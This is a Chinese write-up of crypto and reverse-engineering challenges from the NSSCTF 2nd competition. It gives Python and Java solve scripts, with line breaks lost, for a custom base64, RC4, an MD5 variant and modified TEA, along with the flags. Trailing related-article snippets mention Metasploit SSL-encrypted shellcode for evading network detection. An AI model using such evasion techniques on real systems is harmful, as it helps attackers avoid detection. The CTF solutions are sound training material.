c2 =  24086830909813702968855830967174364278115647345064163689290457852025690324300607354444884288995399344650789235347773145941872226843099538451759854505842021844881825309790171852845467221751852440178862638893185965125776165397575087879479327323737686652198357863042305078811580074617322063509435591981140533310def eeccn(e1,e2,c1,c2,n):g, x1, x2 = gcdext(e1,e2)return pow(c1,x1,n)*pow(c2,x2,n) % na = eeccn(e1,e2,c1,c2,n)
#a = 6916067937269950974206746204164509896240838110131015886297814490101615527867219160040558623231859474391279572961225727366045095864405799615600246029206211  

再用lcg的两个值求因子b

#o2 = a*o1 + b mod n 
output1 =  54997286032365904331111467760366122947903752273328087460831713533712307510311367648330090376100815622160705007873798883153287827481112070182047111994066594911019010222064952859306742931009422376955635523160546531204043294436812066746785938062292942759004837173423765427628610568097898331237064396308950601636
output2 =  115015764780168428067411132384122324817310808727138440691727747976276050930701648349452842302609389394467134068064132550313721128807222231505312226682756817617177620169804112319332815872107656884931985435898097063491690413460967856530075292289784649593915313885813931026280791070577034075346669028068003251024b = (output2 - a*output1)%n
long_to_bytes(b)
#NSSCTF{407f8832-6ffd-43bf-91a0-6900758cdff7}

REV

MyBASE

从主函数看就是个base64

void test()
{size_t v0; // [rsp+158h] [rbp+D8h] BYREFchar Str[312]; // [rsp+160h] [rbp+E0h] BYREFchar *Str2; // [rsp+298h] [rbp+218h]unsigned __int64 v3; // [rsp+2A0h] [rbp+220h]int i; // [rsp+2ACh] [rbp+22Ch]puts("Please input your flag:");scanf("%s", Str);v3 = strlen(Str);Str2 = base64_encode((__int64)Str, v3, &v0);for ( i = 0; i < v0; ++i );if ( !strcmp("YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g", Str2) )printf("success!");elseprintf("error!");free(Str2);
}

然后进到base64_encode里,发现有些变化,在1的位置这3个字符取的位置跟正常的相反

第2个是在每处理完3个字符后会进行exception_handler()

 跟进后发现在这里会对base64的表进行变化,通过随机数,随机种子是上一个表的第1个字符(入口参数是字符型,所以只将第1个字符作种子)。

 有这个流程就可以逆了,总体来看不很很复杂

from pwn import u32 
from ctypes import *clibc = cdll.LoadLibrary("msvcrt.dll")enc = b'YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g'
tab = b'+86420ywusqomkigecaYWUSQOMKIGECABDFHJLNPRTVXZbdfhjlnprtvxz13579/'flag = b''
for i in range(0,len(enc),4):v = [tab.index(enc[i+j]) for j in range(4)]k3 = ((v[1]&3)<<6) + v[0]k2 = ((v[2]&0xf)<<4) + (v[1]>>2)k1 = (v[3]<<2)|(v[2]>>4)flag += bytes([k1,k2,k3])#change tabseed = tab[0] #取第1个字符为种子clibc.srand(seed)ttab = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="v = [_ for _ in ttab]for j in range(63,0,-1):v3 = clibc.rand()v[v3%(j+1)],v[j] = v[j],v[v3%(j+1)]tab = bytes(v)print(flag, tab)print(flag)
#NSSCTF{Welc0me_T0_Re_World}

Bytecode

这个给的是python的字节码,手工翻译,大意是这样

from base64 import *
import string#引入函数 check,init,fun,encrypt1,encrypt2,encrypt if __name__ == '__main__':key = input('Please input your key:')if check(key) == 1:print('Right')msg = input('Please input your message:')box = init(key)encode = encrypt(msg,box)#73 62 63 fd 11 81 64 1c 52 02 f8 3e a6 2e 46 8c 47 23 12 e5 3a a7 23 50 53 69 92 9d e4 32 b6 d2 66 36 8d fd d6 44 2b 08 71 e3 08 0astring1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL'encode = translate(maketrans(string1,string2), b64encode(encode.encode()))if encode == 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB='print('Congraduation!You get the right flag!')else:print('Wrong!')print('Wrong')exit()def check(key):x = (...fake...)if len(key) != len(x):print()for i in range(len(key)):if x[i] != ord(key[i])^i:xxxdef init():s_box = range(256)j = 0for i in range(256):j = s_box[i]+j + ord(key[i%len(key)])  s_box[i],sbox[j] = s_box[j],s_box[i]return s_boxdef fun(msg):key = "Just kidding, don't take it personally!"x = []for i in range(len(msg)):x.append(ord(msg[i]) ^ ord(key[i%len(key)]))x.pop()#60 POP_TOPfor i in range(len(x)):x[i]^=idef encrypt1(msg):x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]        t = (s_box[i] + s_box[j])%256x.append(s_box[t]^ord(msg[k]))return x def encrypt2():x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]  t = (s_box[i] + s_box[j])%256x.append(s_box[t]^ord(msg[k]))return x def encrypt(msg):x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]  t = (s_box[i] + s_box[j])%256x.append(s_box[t]^ord(msg[k]))return x 

只要翻译过来基本都能看明白了。最后有个小坑,得到的不是flag需要再作个序号+1的异或。

def init(key):s_box = list(range(256))j = 0for i in range(256):j = (s_box[i]+j + ord(key[i%len(key)]) )%256 s_box[i],s_box[j] = s_box[j],s_box[i]return s_boxkey = "Just kidding, don't take it personally!"
tk = [78, 82, 81, 64, 80, 67, 125, 83, 96, 56, 121, 84, 61, 126, 81, 79, 79, 119, 38, 120, 39, 74, 112, 38, 44, 126, 103]
key = bytes([i^v for i,v in enumerate(tk)]).decode()
box = init(key)
print(box)def encrypt(msg,s_box):x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]  t = (s_box[i] + s_box[j])%256x.append(s_box[t]^msg[k])return x msg = bytes.fromhex('736263fd1181641c5202f83ea62e468c472312e53aa723505369929de432b6d266368dfdd6442b0871e3080a')
m = encrypt(msg,box)
print(bytes(m))
#b'OQPGQ@|mmk9<il9="qur8 &*,7}*~\x7f2\x11@\x13\x16\x11GB\x14\x1a\x10\x18H'
print(bytes([(i+1)^v for i,v in enumerate(m)]))
#b'NSSCTF{eda20db6-3cff-6125-f6ca-1a155bd3292c}'

MyAPK

这题有个坑,由于不会动调,结果坑里没出来。与WP对照才弄明白。

APK用jadx打开可以看到代码。只要等到时间是66.666s,按下就会得到flag,所以理所当然是把代码扒下来自己运行。但是不对。

后来才知道怎么回事。

在红箭头的位置,把一个double转整形。但这里反编译的不准确,应该是先转long再转整,不然后会有偏差。

而且结果是hash值,所以哪个都看着差不多,只有提交才提示错。

 直接拿代码编译运行即可。

class r2{public static String getit(String input) {int i;int messageLength;byte[] message;int g;int messageLength2;int f;int[] T = new int[64];for (int i2 = 0; i2 < 64; i2++) {//对Math.abs(...)*4.... 需要先转long再取intT[i2] = (int)((long)(Math.abs(Math.sin(i2 + 1)) * 4.294967296E9d));}byte[] message2 = input.getBytes();int d = message2.length;int numBlocks = ((d + 8) >>> 6) + 1;int totalLength = numBlocks << 6;byte[] paddedMessage = new byte[totalLength];System.arraycopy(message2, 0, paddedMessage, 0, d);paddedMessage[d] = Byte.MIN_VALUE;long messageBits = d * 8;int i3 = 0;while (true) {i = 8;if (i3 >= 8) {break;}paddedMessage[(totalLength - 8) + i3] = (byte) (messageBits >>> (i3 * 8));i3++;}int[] state = {-1732584194, -271733879, 271733878, 1732584193};int i4 = 0;while (i4 < numBlocks) {int[] block = new int[16];for (int j = 0; j < 16; j++) {int index = (i4 << 6) + (j << 2);block[j] = (paddedMessage[index] & 255) | ((paddedMessage[index + 1] & 255) << i) | ((paddedMessage[index + 2] & 255) << 16) | ((paddedMessage[index + 3] & 255) << 24);}int a = state[0];int b = state[1];int c = state[2];int j2 = 0;int d2 = state[3];while (j2 < 64) {if (j2 < 16) {message = message2;messageLength = d;messageLength2 = d2;f = ((~b) & messageLength2) | (b & c);g = j2;} else {message = message2;messageLength = d;messageLength2 = d2;if (j2 < 32) {f = (messageLength2 & b) | ((~messageLength2) & c);g = ((j2 * 5) + 1) % 16;} else if (j2 < 48) {f = (b ^ c) ^ messageLength2;g = ((j2 * 3) + 5) % 16;} else {f = ((~messageLength2) | b) ^ c;g = (j2 * 7) % 16;}}int temp = messageLength2;int d3 = c;c = b;b += Integer.rotateLeft(a + f + block[g] + T[j2], 7);a = temp;j2++;d2 = d3;message2 = message;d = messageLength;T = T;block = block;}int messageLength3 = d;int messageLength4 = d2;state[0] = state[0] + a;state[1] = state[1] + b;state[2] = state[2] + c;state[3] = state[3] + messageLength4;i4++;d = messageLength3;T = T;i = 8;}byte[] hash = new byte[16];for (int i5 = 0; i5 < 4; i5++) {hash[i5 * 4] = (byte) (state[i5] & 255);hash[(i5 * 4) + 1] = (byte) ((state[i5] >>> 8) & 255);hash[(i5 * 4) + 2] = (byte) ((state[i5] >>> 16) & 255);hash[(i5 * 4) + 3] = (byte) ((state[i5] >>> 24) & 255);}StringBuilder sb = new StringBuilder();for (int i6 = 0; i6 < hash.length; i6++) {sb.append(String.format("%02x", Integer.valueOf(hash[i6] & 255)));}System.out.println(sb.toString());return sb.toString();}public static void main(String[] args) {String my = "66.666s";System.out.println(getit(my));}}
//NSSCTF{1a74ee530fafa690dcddd0ce38260755}

Tea or XTtea

这个也是差一点

这是一个经过混淆的代码,不过很短手工可以恢复

int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // eaxint v4; // eaxint v5; // ecx__pid_t v6; // eaxint v7; // ecxint v8; // eaxsize_t v9; // raxint v10; // ecxint v11; // edxint v12; // esiint v13; // eaxsize_t v14; // raxint v15; // ecxint v16; // edxint v17; // esiint v18; // eaxint v19; // eaxint v20; // eaxint v21; // eaxint v23; // [rsp+ECh] [rbp-24h]int v24; // [rsp+F0h] [rbp-20h]int v25; // [rsp+F4h] [rbp-1Ch]int v26; // [rsp+F8h] [rbp-18h]int v27; // [rsp+FCh] [rbp-14h]int v28; // [rsp+100h] [rbp-10h]size_t v29; // [rsp+108h] [rbp-8h]before_main();printf(aNoOneTraceMe, argv);puts("Please input your flag:");scanf("%s", input);v29 = strlen((const char *)(unsigned int)input);v23 = 1801919288;while ( 1 ){while ( 1 ){while ( v23 == -1827964049 ){p = (__int64)&input[v28];v11 = *(_DWORD *)&input[v28];v12 = cd++;flag[v12] = v11;v23 = 1580933206;}if ( v23 != -1712856092 )break;v28 = 0;v23 = 904879898;close(dword_404138);}if ( v23 == -1700936880 )break;switch ( v23 ){case -1599979081:v19 = -1126838779;                      // 加密偶部分if ( v24 < 10 )v19 = 373420789;v23 = v19;break;case -1590649948:v13 = -864600155;if ( v27 < 10 )v13 = 601686237;v23 = v13;break;case -1371351848:p = (__int64)&input[v26];               // 写4字节到flagv16 = *(_DWORD *)&input[v26];v17 = cd++;flag[v17] = v16;v23 = 1181823979;break;case -1225256530:v27 += 2;v23 = -1590649948;break;case -1126838779:v21 = 194163193;                        // 20第3部分if ( k )v21 = 528867005;                      // 20。1v23 = v21;break;case -1116901551:v27 = 0;v23 = -1590649948;break;case -1063953602:v23 = 250224098;                        // 偶部分下一步break;case -864600155:close(fd[0]);_exit(0);case -378067225:close(dword_404138);                    // overwait(0LL);exit(0);case -166712886:v18 = 1520935878;                       // 10,加密前后部分if ( v25 < 5 )v18 = 1905508328;v23 = v18;break;case 31730073:k = 0;v23 = -1063953602;break;case 56367258:                            // 4,检查pidv8 = 2123706874;if ( !pid )v8 = -1712856092;v23 = v8;break;case 194163193:v23 = -378067225;puts("You are wrong!!!");break;case 250224098:++v24;v23 = -1599979081;                      // 偶部分++break;case 258672972:                           // 3,fork进程v6 = fork();v7 = 56367258;pid = v6;if ( v6 == -1 )v7 = 1299675875;v23 = v7;break;case 355734949:k = 0;v23 = 845159230;break;case 373420789:v20 = -1063953602;if ( flag[v24] != enc1[v24] )           // 偶部分比较v20 = 31730073;v23 = v20;break;case 528867005:v23 = -378067225;puts("You are right!!!");break;case 601686237:encode_1((unsigned int *)&flag[v27], &key2);v23 = -1225256530;break;case 845159230:                           // 2,打开管道v4 = pipe(fd);v5 = 258672972;if ( v4 == -1 )v5 = -1700936880;v23 = v5;break;case 904879898:v9 = strlen((const char *)(unsigned int)input);v10 = -1116901551;if ( v28 < v9 )v10 = -1827964049;v23 = v10;break;case 1181823979:                          // 7,+=4v26 += 4;v23 = 1775879993;break;case 1285116999:                          // 12++v25;v23 = -166712886;break;case 1299675875:exit(1);case 1520935878:                          // 21,v24 = 0;v23 = -1599979081;break;case 1580933206:v28 += 4;v23 = 904879898;break;case 1775879993:                          // 5,取长度 while循环检查v14 = strlen((const char *)(unsigned int)input);v15 = 1962670163;if ( v26 < v14 )v15 = -1371351848;v23 = v15;break;case 1801919288:                          // 长度检查 40v3 = 845159230;if ( v29 != 40 )v3 = 355734949;v23 = v3;break;case 1905508328:encode_2((unsigned int *)&flag[2 * v25], &key1);// 11,加密前部分v23 = 1285116999;break;case 1962670163:                          // jmpv25 = 0;v23 = -166712886;break;default:puts("this is father");v26 = 0;v23 = 1775879993;close(fd[0]);break;}}perror("pipe");exit(1);
}

按照运行顺序一段段理出来,应该是执行decrypt2,用key1

这个decrypto2是个魔改的Tea,已经像咖啡了

__int64 __fastcall encode_2(unsigned int *a1, unsigned int *key)
{int v2; // eax__int64 result; // raxint i; // [rsp+14h] [rbp-28h]unsigned int v5; // [rsp+1Ch] [rbp-20h]unsigned int v6; // [rsp+20h] [rbp-1Ch]unsigned int v7; // [rsp+24h] [rbp-18h]unsigned int v8; // [rsp+28h] [rbp-14h]v8 = *a1;v7 = a1[1];v6 = 0xC6EF3720;v5 = 0;for ( i = 0x97FDC462; ; i = 0x97FDC462 ){while ( 1 ){while ( i == 0x8480D1BC ){v6 -= 0x61C88647;v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));i = 0x4E2F6F4;}if ( i != 0x97FDC462 )break;v2 = 0x304E1762;if ( v5 < 0x20 )v2 = 0x8480D1BC;i = v2;}if ( i != 0x4E2F6F4 )break;++v5;}*a1 = v8;result = v7;a1[1] = v7;return result;
}

关键问题是这个Tea一般是4组key但这里用的&4只用0和4,一直猜用的是几。其实都不对,用的就是0和4(4是个0)

from pwn import u32,p32
from ctypes import *#        v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
#        v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
def decrypt2(v, k):v0, v1 = c_uint32(v[0]), c_uint32(v[1])delta = 0x9e3779b9 #k0, k1, k2, k3 = k[0], k[1], k[2], k[3]total = c_uint32(delta * 32 + 0xC6EF3720)for i in range(32):                       #v1.value -= ((v0.value<<4) + k2) ^ (v0.value + total.value) ^ ((v0.value>>5) + k3) #v0.value -= ((v1.value<<4) + k0) ^ (v1.value + total.value) ^ ((v1.value>>5) + k1)  v1.value -= (k[(total.value)&4] + total.value)^(v0.value + ((v0.value>>3)^(v0.value<<4)))v0.value -= (k[(total.value>>2)&4] + total.value)^(v1.value + ((v1.value>>3)^(v1.value<<4)))total.value -= deltareturn v0.value, v1.value   key1 = [0x21,0x37,0x4d,0x63,0]
enc = bytes.fromhex('70641578EA8F3FA0CA83549A39A609D65B34900F200B30126A0DD03815C2F8C3C9022D84FB1ACF56')
enc = [u32(enc[i*4:i*4+4]) for i in range(10)]
#print([hex(i) for i in enc])flag = b''
for i in range(0,10,2):v0,v1 = enc[i],enc[i+1]v0,v1 = decrypt2([v0,v1], key1)flag += p32(v0)+p32(v1)print(flag)
#flag{tea_or_xtea_you_should_choose_one!}

写完睡觉,最后一个file_encrypt看了WP但没看题,就不看了。

相关文章:

[NSSCTF 2nd] NSS两周年纪念赛。

都说开卷有益&#xff0c;其实作题也有益&#xff0c;每打一次总能学到点东西。 PWN NewBottleOldWine 这个没作出来&#xff0c;一时还不明白RISC-V64怎么弄本地环境&#xff0c;不过看了WP感觉很简单&#xff0c;取flag用不着环境。 IDA不给翻译了&#xff0c;一点点看汇…...

【星戈瑞】FITC-PEG-N3在细胞示踪中的应用

​欢迎来到星戈瑞荧光stargraydye&#xff01;小编带您盘点&#xff1a; FITC-PEG-N3在细胞示踪中具有多样性应用。细胞示踪是指使用荧光标记物追踪和观察细胞在体内或体外的位置、迁移、增殖等行为。以下是FITC-PEG-N3在细胞示踪中的主要应用方面&#xff1a; 1. 细胞迁移研究…...

【Linux】【驱动】自动创建设备节点

【Linux】【驱动】自动创建设备节点 续驱动代码操作指令linux端从机端 续 这里展示了如何自动的方式去创建一个字符类的节点 下面就是需要调用到的程序 函数 void cdev_init(struct cdev *, const struct file_operations *);第一个参数 要初始化的 cdev 第二个参数 文件操作…...

自实现getprocaddress(名称查找或者序号查找)

通过名称去找 // MyGETPRCOADDRESS.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 //#include <iostream> #include<Windows.h>/*WINBASEAPI //导出不需要使用&#xff0c;那么我们注释掉*/ FARPROC WINAPI MyGetProcAddress(_In_ HMO…...

如何DIY制作干洗店洗护小程序

洗护行业正逐渐迎来线上化的浪潮&#xff0c;传统的干洗店也开始尝试将业务线上化&#xff0c;以提供更便捷的服务给消费者。而制作一款洗护小程序&#xff0c;成为了干洗店实现线上化的重要一环。今天&#xff0c;我们就来分享一下如何使用第三方制作平台制作洗护小程序的教程…...

微前沿 | 第1期:强可控视频生成;定制化样本检索器;用脑电重建视觉感知;大模型鲁棒性评测

欢迎阅读我们的新栏目——“微前沿”&#xff01; “微前沿”汇聚了微软亚洲研究院最新的创新成果与科研动态。在这里&#xff0c;你可以快速浏览研究院的亮点资讯&#xff0c;保持对前沿领域的敏锐嗅觉&#xff0c;同时也能找到先进实用的开源工具。 本期内容速览 01. 强可…...

SQLite数据库C_C++接口(保姆级API应用 1.4W字)(全网最详细介绍,学完必掌握)

目录 sqlite3的C/C API应用 前言 SQLite3库安装 API函数 打开、关闭、错误处理 打开 返回值 关闭 错误调试 实际应用 执行SQL&#xff08;DDL、DML&#xff09; API介绍 实际应用 回调函数查询 API介绍 实际应用 全缓冲查询 API介绍 实际应用 字节缓冲查询…...

倒计时:心理的镇静剂还是焦虑的火种?

倒计时&#xff1a;心理的镇静剂还是焦虑的火种&#xff1f; 目录 引言倒计时的作用与原理倒计时的双面性&#xff1a;缓解焦虑还是引发焦虑&#xff1f;如何正确使用倒计时结论 引言 在我们的日常生活和工作中&#xff0c;倒计时被广泛的应用。无论是在网购的抢购活动中&a…...

迅睿系统二开自定义函数和插件的自定义函数

全局的自定义函数&#xff1a; 全局的自定义函数文件&#xff1a;dayrui/My/Helper.php 此文件用于放网站自定义函数&#xff0c;程序会自动加载 当前站点的自定义函数文件&#xff1a;网站主目录/config/custom.php 插件的自定义函数&#xff1a; 基于App目录下的插件或模块…...

传统品牌如何通过3D虚拟数字人定制和动捕设备加速年轻化发展?

步入Z时代&#xff0c;年轻一代消费者的生活方式深受互联网技术和媒介环境影响&#xff0c;对新潮事物感兴趣&#xff0c;消费思维也相对前卫&#xff0c;品牌需要探索契合Z世代的消费观念&#xff0c;寻找新的链接拉近品牌与消费者的距离&#xff0c;而3D虚拟数字人定制可以帮…...

sql:SQL优化知识点记录(五)

&#xff08;1&#xff09;explain之例子 &#xff08;2&#xff09;索引单表优化案例 上面的功能已经实现&#xff0c;但是分析功能&#xff0c; 使用explain分析这条sql&#xff1a; 发现type为All Extra&#xff1a;有Using filesort &#xff08;文件内排序&#xff09; 这…...

1.3 Metasploit 生成SSL加密载荷

在本节中&#xff0c;我们将介绍如何通过使用Metasploit生成加密载荷&#xff0c;以隐藏网络特征。前一章节我们已经通过Metasploit生成了一段明文的ShellCode&#xff0c;但明文的网络传输存在安全隐患&#xff0c;因此本节将介绍如何通过生成SSL证书来加密ShellCode&#xff…...

redis windows 版本安装

1. 下载windows安装包并解压 如果是Linux版本可以直接到官网下载&#xff0c;自3.x起官网和微软网站就没有redis安装包更新了&#xff0c;好在github有开发者在编译发布更新&#xff08;目前最新有5.0.9版本可下&#xff09;&#xff0c;地址&#xff1a;redis windows 5版本下…...

限流算法深入

限流定义及目的 当系统流量达到系统或下游承受能力的阈值时对系统进行限流控制以防止系统或下游挂掉&#xff0c;减少影响面。 限流组成&#xff1a;阈值及限流策略。阈值是指系统单位时间接收到的请求qps总数&#xff1b;限流策略是指限流行业触发后对应的系统行为&#xff…...

java 基础知识 循环的几个题目

1、输出1~100的累加和 结果显示在屏幕&#xff0c;显示在文件res1.txt中 2、输出1-~100的偶数和 结果显示在屏幕&#xff0c;显示在文件res2.txt中 3、输出所有水仙花数&#xff1a; 100~999的数中出现个位数的立方十位数的立方百位数的立方这个数本身 4、输出由9行9列星号组成…...

Spring Boot使用LocalDateTime、LocalDate作为入参

0x0 背景 项目中使用LocalDateTime系列作为dto中时间的类型&#xff0c;但是spring收到参数后总报错&#xff0c;为了全局配置时间类型转换&#xff0c;尝试了如下3中方法。 注&#xff1a;本文基于Springboot2.0测试&#xff0c;如果无法生效可能是spring版本较低导致的。PS&…...

第七周第七天学习总结 | MySQL入门及练习学习第二天

实操练习&#xff1a; 1.创建一个名为 cesh的数据库 2.在这个数据库内 创建一个名为 xinxi 的表要求该表可以包含&#xff1a;编号&#xff0c;姓名&#xff0c;备注的信息 3.为 ceshi 表 添加数据 4.为xinxi 表的数据设置中文别名 5.查询 在 xinxi 表中编号 为2 的全部…...

【考研数学】线形代数第三章——向量 | 3)向量组秩的性质、向量空间、过渡矩阵

文章目录 引言三、向量组等价、向量组的极大线性无关组与秩3.2 向量组秩的性质 四、 n n n 维向量空间4.1 基本概念4.2 基本性质 写在最后 引言 紧接前文学习完向量组秩的基本概念后&#xff0c;继续往后学习向量的内容。 三、向量组等价、向量组的极大线性无关组与秩 3.2 向…...

【技术】SpringBoot Word 模板替换

SpringBoot Word 模板替换 什么是 Word 模板替换如何实现 Word 模板替换 什么是 Word 模板替换 模板一般是具有固定格式的内容&#xff0c;其中一部分需要替换。Word 模板通俗的讲是以 Word 的形式制作模板&#xff0c;固定格式和内容&#xff0c;然后将其中的一部分数据替换掉…...

java jni nv21和nv12互转

目录 libyuv性能比较 NV12 NV21 YUV420格式介绍 jni YUV420toYUV420SemiPlanar java YUV420toYUV420SemiPlanar java NV12toYUV420SemiPlanar jni NV12toYUV420SemiPlanar...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合

强化学习&#xff08;Reinforcement Learning, RL&#xff09;是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程&#xff0c;然后使用强化学习的Actor-Critic机制&#xff08;中文译作“知行互动”机制&#xff09;&#xff0c;逐步迭代求解…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来&#xff0c;Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI

前一阵子在百度 AI 开发者大会上&#xff0c;看到基于小智 AI DIY 玩具的演示&#xff0c;感觉有点意思&#xff0c;想着自己也来试试。 如果只是想烧录现成的固件&#xff0c;乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外&#xff0c;还提供了基于网页版的 ESP LA…...

零基础设计模式——行为型模式 - 责任链模式

第四部分&#xff1a;行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习&#xff01;行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想&#xff1a;使多个对象都有机会处…...

聊一聊接口测试的意义有哪些?

目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开&#xff0c;首…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

USB Over IP专用硬件的5个特点

USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中&#xff0c;从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备&#xff08;如专用硬件设备&#xff09;&#xff0c;从而消除了直接物理连接的需要。USB over IP的…...

JS设计模式(4):观察者模式

JS设计模式(4):观察者模式 一、引入 在开发中&#xff0c;我们经常会遇到这样的场景&#xff1a;一个对象的状态变化需要自动通知其他对象&#xff0c;比如&#xff1a; 电商平台中&#xff0c;商品库存变化时需要通知所有订阅该商品的用户&#xff1b;新闻网站中&#xff0…...

R语言速释制剂QBD解决方案之三

本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...

算法:模拟

1.替换所有的问号 1576. 替换所有的问号 - 力扣&#xff08;LeetCode&#xff09; ​遍历字符串​&#xff1a;通过外层循环逐一检查每个字符。​遇到 ? 时处理​&#xff1a; 内层循环遍历小写字母&#xff08;a 到 z&#xff09;。对每个字母检查是否满足&#xff1a; ​与…...